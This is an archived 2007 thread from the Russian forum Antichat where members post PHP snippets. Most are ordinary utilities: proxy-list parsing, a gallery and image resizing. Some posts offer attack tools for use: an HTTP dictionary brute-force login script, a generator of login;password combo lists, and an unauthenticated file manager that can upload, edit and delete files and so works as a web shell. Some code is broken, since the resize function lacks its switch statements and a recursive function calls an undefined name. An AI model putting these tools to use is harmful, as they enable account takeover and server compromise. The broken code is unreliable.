ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

12.04.2007, 02:05
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме: 1212666
Репутация:
662
|
|
Сообщение от mamamot
Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:
Код:
HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No
т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:
PHP код:
<?php
//////////////////////////////////////////////////////////////////
//proxy_list_generator.php
//creats an ip:port proxylist
//coded by mamamot, 2007
//////////////////////////////////////////////////////////////////
//задаем регулярные выражения
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
//читаем файл
$raw=file("rawproxy.txt");
//счетчик
$counter=0;
//перебираем каждую строку
foreach($raw as $line)
{
$is_ip_match = preg_match($ip_regex, $line, $ipmatch);
if($is_ip_match==1)
{
$ip=$ipmatch[0];
$is_port_match=preg_match($port_regex, $line, $port_match);
if($is_port_match==1)
{
$port=$port_match[0];
//убираем символы табуляции
$port=str_replace("\t","",$port);
//добавляем в строку. Замените \r\n на \n если работете на никсах
$output .= $ip.':'.$port."\r\n";
$counter++;
}
}
}
//пишем в файл
file_put_contents("proxies.txt", $output);
echo "done succesfully:".$counter."items parsed";
?>
да еще и посчитаем заодно 
Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.
PHP код:
<?php
$data="HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No";
preg_match_all("/[\d]+\.[\d]+\.[\d]+\.[\d]+\s[\d]+/i",$data,$match);
print_r($match);
?>
__________________
Последний раз редактировалось nc.STRIEM; 12.04.2007 в 02:09..
|
|
|

12.04.2007, 08:38
|
|
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме: 1654589
Репутация:
337
|
|
Вот, давненько писал, руки никак не доходят чтоб чазмер и прорчие прелести выводились =)
Галерея для изображений. По дэфолту берет все изображения из папки /walp.
Автоматически считает все картинки в папке и постранично выводит их уменьшенные копии ( по 4 на странице ). При нажатии на мини - картинку, кидает на оригинал.
PHP код:
<?php
$dir = opendir ("./walp");
$count_f = 0;
while ( $file = readdir ($dir))
{
if (( $file != ".") && ($file != ".."))
{ $count_f = $count_f + 1; }
$walp[$count_f] = $file;
}
closedir ($dir);
// Выводим список страниц
If ($p == 0) { $p = 1; }
print ("<br><br>");
$pp = $p - 1;
print ("pages :");
if ($p > 1) { print ("<a href = ?p=$pp> <<prev..</a>"); }
print ("<a href = ?p=1>1</a>");
for ($i = 2; $i <= ($count_f/4); $i++)
{ print ("..<a href = ?p=$i>$i</a>"); }
$count_fn = $count_f/4;
if (($i - 1)*4 < $count_f)
{ print ("..<a href = ?p=$i>$i</a>"); }
$pn = $p + 1;
if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
print ("<br><hr width = 80%>");
// Выводим картинки в зависимоти от страницы
if ($p < $count_f/4)
{
for ($i = ($p*4 - 3); $i <= ($p*4); $i++)
{
print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
}
print ("<br><br>");
}
if ( $p >= $count_f/4)
{
for ($i = ($p*4 - 3); $i <= $count_f; $i++)
{
print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
}
print ("<br><br>");
}
// Выводим список страниц
print ("<br><br>");
$pp = $p - 1;
print ("pages :");
if ($p > 1) { print ("<a href = ?p=$pp> <<prev..</a>"); }
print ("<a href = ?p=1>1</a>");
for ($i = 2; $i <= ($count_f/4); $i++)
{ print ("..<a href = ?p=$i>$i</a>"); }
$count_fn = $count_f/4;
if (($i - 1)*4 < $count_f)
{ print ("..<a href = ?p=$i>$i</a>"); }
$pn = $p + 1;
if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
print ("<br><hr width = 80%>");
?>
|
|
|

14.04.2007, 19:07
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Полностью написанный мною файловый менеджер на пхп.
Включает в себя текстовый редактор файлов, функцию рекурсивного удаления каталогов, загрузки файлов на сервер и создания новых папок...+ позитивный дезигн и еще много всего - в одном файле!!!
PHP код:
<?php
/////////////////////////////////////////////////////////////////
/////////////////////////php file browser/////////////////////////
///////////////coded by mamamot spec. for antichat.ru ///////////////
//////////////////////////////2007//////////////////////////////
//проверяем содержимое массива POST
if(isset($_POST['do']))
{
//записываем в файл после редактирования
if($_POST['do']=="edit")
{
$fd=fopen($_POST['filename'], w);
if(!$fd) exit("Ошибка!");
fwrite($fd, $_POST['content']);
fclose($fd);
echo "Редактирование успешно завершено!";
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
//загружаем файл на сервер
elseif($_POST['do']=="upload")
{
if(copy($_FILES['filename']['tmp_name'], $_POST['p']."/".$_FILES['filename']['name']))
{
echo("Файл успешно загружен: <br />");
echo($_FILES['filename']['name']);
echo '<br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
else
{
echo("Ошибка!<br />");
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
}
exit();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title><? echo "php file browser"; if(isset($_GET['p'])) echo " - ".$_GET['p']; ?></title>
<style type="text/css" >
body
{
font-family: Verdana, Arial;
font-size: 14px;
background-color: #fcc;
}
tr.header
{
background-color: #ccf;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.one
{
background-color: #cff;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.two
{
background-color: #fc6;
font-family: Verdana, Arial;
font-size: 14px;
}
h2
{
font-family: Verdana, Arial;
font-size: 22px;
color:#000;
}
</style>
</head>
<body>
<?php
//Удаление файла
function delete_file($dir, $name)
{
if(!@unlink($dir."/".$name))
{
echo "Доступ запрещен!";
}
else
{
echo "Удалено успешно!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}
//рекурсивное удаление папки
function delete_dir($dir)
{
//открываем папку
$dd=opendir($dir);
//просматриваем все файлы
$todo=true;
while(($file = readdir($dd)))
{
//если файл - удаляем
if(is_file("$dir/$file"))
{
if(!unlink("$dir/$file"))
{
exit("Ошибка-доступ запрещен!");
}
}
//если папка - вызываем рекурсивно функцию удаления
elseif(is_dir("$dir/$file") && $file!='.' && $file!='..')
{
delete_dir("$dir/$file");
}
}
//закрываем папку
closedir($dd);
//удаляем саму уже пустую директорию
rmdir($dir);
echo "Успешно удалено!<br />";
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}
//вывод формы загрузки файла
function upload_form()
{
echo '<h2>Загрузка файла в '.$_GET['p'].'</h2>
<form method="post" enctype="multipart/form-data" >
<input type="file" name="filename" /><br />
<input type="hidden" name="p" value="';
if(isset($_GET['p']))
{
echo $_GET['p'].'" />';
}
else
{
echo '." />';
}
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="submit" value="Загрузить" />';
echo '</form>';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}
//вывод информации о файле
function file_info()
{
$query=$_GET['p']."/".$_GET['name'];
echo "<h2>Информация о файле: $query</h2>";
echo "Размер: ".filesize($query)."<br />";
$type=filetype($query);
echo "Тип: ".$type."<br />";
echo "Последнее изменение: ".date("d.m.Y G:i:s",filemtime($query))."<br />";
if($type=="file")
{
echo '<a href="'.$query.'" >Скачать/просмотреть</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$query.'" >Удалить файл</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=edit&p='.$_GET['p'].'&name='.$_GET['name'].'" >Редактировать(текстовый режим)</a><br />';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}
//создание папки
function makedir($query, $dirname)
{
$custom=$query."/".$dirname;
if(!mkdir($custom,0700))
{
echo "Ошибка создания каталога!";
}
else
{
echo "Успешно создано!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >Вернуться</a>';
}
//вывод формы редактирования файла
function edit_file($dir, $name)
{
$query=$dir.'/'.$name;
$fd=fopen($query, "r");
if($fd)
{
$buf=fread($fd, filesize($query));
fclose($fd);
echo '<h2>Редактирование файла</h2>';
echo '<form method="POST" >';
echo '<textarea cols="100" rows="50" name="content" >'.$buf.'</textarea><br />';
echo '<input type="hidden" name="do" value="edit" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="hidden" name="filename" value="'.$dir.'/'.$name.'" />';
echo '<input type="submit" name="submit" value="Сохранить" />';
echo '</form>';
}
else
{
echo 'Ошибка!';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$dir.'" >Вернуться</a>';
}
//проверяем режим вывода
if(!isset($_GET['do']) || $_GET['do']=="browse")
{
//основная функция - главное окно работы с файлами и папками
if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$filelist = scandir(".");
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$filelist = scandir("./".$_GET['p']);
}
//выводим данные в виде таблицы
//выводим заголовок таблицы
echo "<table>";
echo '<tr class="header">';
echo "<td>Имя</td>";
echo "<td>Размер</td>";
echo "<td>Тип файла</td>";
echo "<td>Последнее изменение</td>";
echo "<td>Удалить</td>";
echo "</tr>";
$one=true;
foreach($filelist as $file)
{
$query=$dir."/".$file;
//получаем тип файла
$type=filetype($query);
//задаем стиль строки для облегчения восприятия
if($one)
{
echo '<tr class="one">';
}
else
{
echo '<tr class="two">';
}
$one=!$one;
if($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >'.$file.'</a></td>';
}
else
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=fi&p='.$dir.'&name='.$file.'" >'.$file.'</a></td>';
}
//выводим размер файла
echo "<td>".filesize($query)."</td>";
echo "<td>".$type."</td>";
echo "<td>".date("d.m.Y G:i:s",filemtime($query))."</td>";
if($type=="file")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$dir.'&name='.$file.'" >Удалить файл</a></td>';
}
elseif($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_d&p='.$query.'" >Удалить папку</a></td>';
}
echo "</tr>";
}
echo "</table>";
//после таблицы мы выводим дополнительные инструменты
//создание папки
echo '<p>';
echo 'Создание папки в текущей директории:<br />';
echo '<form method="GET" >';
echo '<input type="hidden" name="do" value="mkdir" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="text" name="name" value="Имя папки" />';
echo '<input type="submit" name="submit" value="submit" />';
echo '</form>';
echo '<p>';
//загрузка файла
echo '<p>';
echo 'Загрузить файл';
echo '<form method="POST" enctype="multipart/form-data" >';
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="file" name="filename" /><br />';
echo '<input type="submit" name="submit" value="Загрузить" />';
echo '</form>';
}
//информация о файле
elseif($_GET['do']=="fi")
{
file_info();
}
//удаление файла
elseif($_GET['do']=="delete_f")
{
delete_file($_GET['p'],$_GET['name']);
}
//удаление папки
elseif($_GET['do']=="delete_d")
{
delete_dir($_GET['p']);
}
//редактирование файла
elseif($_GET['do']=="edit")
{
edit_file($_GET['p'],$_GET['name']);
}
elseif($_GET['do']=="mkdir")
{
makedir($_GET['p'],$_GET['name']);
}
?>
</body>
</html>
Я долго отлаживал, но если остались баги-не судите строго 
|
|
|

15.04.2007, 11:59
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Сообщение от grinay
Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.
А я их и не писал
Ненавиже регексы - я залез на http://regexlib.com и взял оттуда  Ибо я вообще раньше кодил на ВБ.НЕТ и не привык напрягаться 
|
|
|

15.04.2007, 14:24
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
>>>mamont
http://php.ru/manual/function.scandir.html
scandir
(PHP 5)
scandir -- Получить список файлов и каталогов, расположенных по указанному пути
функция scandir() есть начиная с 5ой версии, а она еще не везде стоит((
|
|
|

15.04.2007, 20:11
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Было:
PHP код:
if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$filelist = scandir(".");
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$filelist = scandir("./".$_GET['p']);
}
Стало:
PHP код:
if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$dd=opendir(".");
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$dd = opendir($dir);
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
Замените и пользуйтесь на здоровье! Хотя я советовал бы переходить на пхп5, если это возможно
|
|
|

16.04.2007, 19:52
|
|
Banned
Регистрация: 06.10.2006
Сообщений: 288
Провел на форуме: 2741921
Репутация:
469
|
|
Этот скрипт создает комбо лист.
PHP код:
<?
$login = file('login.txt');
$pass = file('pass.txt');
$combo = fopen('combo.txt','a');
for($a='0'; $a<sizeof($login); $a++)
{
for($b='0'; $b<sizeof($pass); $b++)
{
fwrite($combo, rtrim($login[$a]).';'.$pass[$b]);
}
}
fclose($combo);
?>
а Этот скрипт читает файл сравнивает с шаблоном и выводит список совпадений без повтарений.
PHP код:
<?
error_reporting(0);
$sha = '(www)\.[a-z0-9A-Z]{1,100}\.(com)';
$path = 'file.htm';
$end = array();
$link = '';
$file = fopen($path, 'r');
while(!feof($file))
{$_file = fgets($file);
if(ereg($sha, $_file, $link))
{array_push($end, $link['0']);}}
fclose($file);
$end = array_unique($end);
foreach($end as $key => $val)
{echo $val.'<br>';}
?>
Последний раз редактировалось Underwit; 16.04.2007 в 21:10..
|
|
|

17.04.2007, 03:46
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Скрипт простой брутфорс атаки по http.
(Некотрые моменты были упущены и специально не рассмотрены,
чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
их помогает избежать подмена данных в заголовках.
Так же чуть позже напишу скрипт брута через прокси)
Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
2-ой словарь для брута (каждое слово в новой строке!)
PHP код:
<?php
//массив логинов
$f_log = fopen ('login.txt', 'r');
$login = fread($f_log, 65000);
$name = explode("\n", $login);
for ($i=0; $i<count($name); $i++)
{
$name[$i]=trim($name[$i]);
}
fclose($f_log);
//массив паролей из словаря))
$f_pass = fopen ('pass.txt', 'r');
$passwd = fread($f_pass, 65000);
$pass = explode("\n", $passwd);
for ($i=0; $i<count($pass); $i++)
{
$pass[$i]=trim($pass[$i]);
}
fclose($f_pass);
$hostname = "www.host.ru";
//соединяемся с сервером
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if(!$fp)
{ //проверяем успешность соединения
echo "$errstr ($errno)<br />\n";
} else {
//собственно брут
for($n=0; $n<count($name); $n++)
{
$path = "/script.php?login=".$name[$n]."&passwd=";
for($p=0; $p<count($pass); $p++)
{
$header = "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n";
//отправляем запрос
fputs($fp, $header);
//построчно считываем ответ сервера
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
//работаем с ответом
//особенность аутентификации через формы - это невозможность анализа полей
//http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
//соответственно необходим парсинг тела ответа на наличие
//характерных элементов успешной аутентификации
//$rez = fopen('rezcopyline.txt', 'a+'); применяется для
//fputs($rez, $line); отладки
//fclose($rez); скрипта
//здесь несколько строк кода разбора ответа
//шаблонного примера здесь привести не могу
//т.к. абсолютно каждый раз код разный
//если характерный элемент был найден::
$luck = 'Для '.$name[$n].' пароль: '.$pass[$p];
$f_success = fopen('result.txt', 'a+');
fputs($f_success, $luck); //пишем результат в файл
fclose($f_success);
echo '<br>';
echo 'Для '.$name[$n].' пароль: '.$pass[$p];
echo '<br>';
}
}
}
fclose($fp);
?>
зы:: под мелкие нужды легко вносятся изменения или модификации.
ззы:: если у кого возникли вопросы и предложения,в личку!
зззы:: всю конструктивную критику с удовольствием принимаю!!
Последний раз редактировалось mR_LiNK[deface_0nl; 17.04.2007 в 03:52..
|
|
|

28.04.2007, 17:28
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме: 4172659
Репутация:
646
|
|
PHP. Функция для вывода списка файлов в данной дериктоии и ниже. Форматировать по вкусу.
PHP код:
function browse_tree($npath, $ipath, $showhtfiles=false)
{
$op="";
$notadir=array(".", "..");
$dir=opendir($npath);
while ($file=readdir($dir))
{
// если стоит опция не показывать файлы вроде ".htaccess" - проверяем
$stripped_as_ht=($showhtfiles) ? false : (substr($file,0,1)==".") ;
// если это не "." и не ".."
if ((filetype($npath.$file)=="dir")&&(!in_array($file, $notadir))
{
$nipath="$ipath/$file";
browse($npath.$file."/", $nipath);
}
else
if ((!in_array($file,$notadir)) && (!$stripped_as_ht))
{
$op.="$ipath/$file\n";
}
}
// При необходимости - раскомментировать следующую строку
// $op=nl2br($op);
return $op;
}
|
|
|
Функция ресайза изображения |

29.04.2007, 03:23
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Функция ресайза изображения
Функция ресайза изображения
На вход подаются путь к изменяемой картинке, новая ширина и высота.
PHP код:
function SetImgSize($img, $width, $height)
{
//получаем тип файла
{
case "jpg":
$srcImage = @ImageCreateFromJPEG($img);
break;
case "gif":
$srcImage = ImageCreateFromGIF($img);
break;
case "png":
$srcImage = ImageCreateFromPNG($img);
break;
default:
return -1;
break;
}
$srcWidth = ImageSX($srcImage);
$srcHeight = ImageSY($srcImage);
if(($width < $srcWidth) || ($height < $srcHeight))
{
$ratioWidth = $srcWidth/$width;
$ratioHeight = $srcHeight/$height;
if($ratioWidth < $ratioHeight)
{
$destWidth = $srcWidth/$ratioHeight;
$destHeight = $height;
}
else
{
$destWidth = $width;
$destHeight = $srcHeight/$ratioWidth;
}
$resImage = ImageCreateTrueColor($destWidth, $destHeight);
ImageCopyResampled($resImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);
unlink($img);
//определяем тип
{
case "jpg":
ImageJPEG($resImage, $img, 100);
break;
case "gif":
ImageGIF($resImage, $img);
break;
case "png":
ImagePNG($resImage, $img);
break;
}
ImageDestroy($srcImage);
ImageDestroy($resImage);
}
}
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|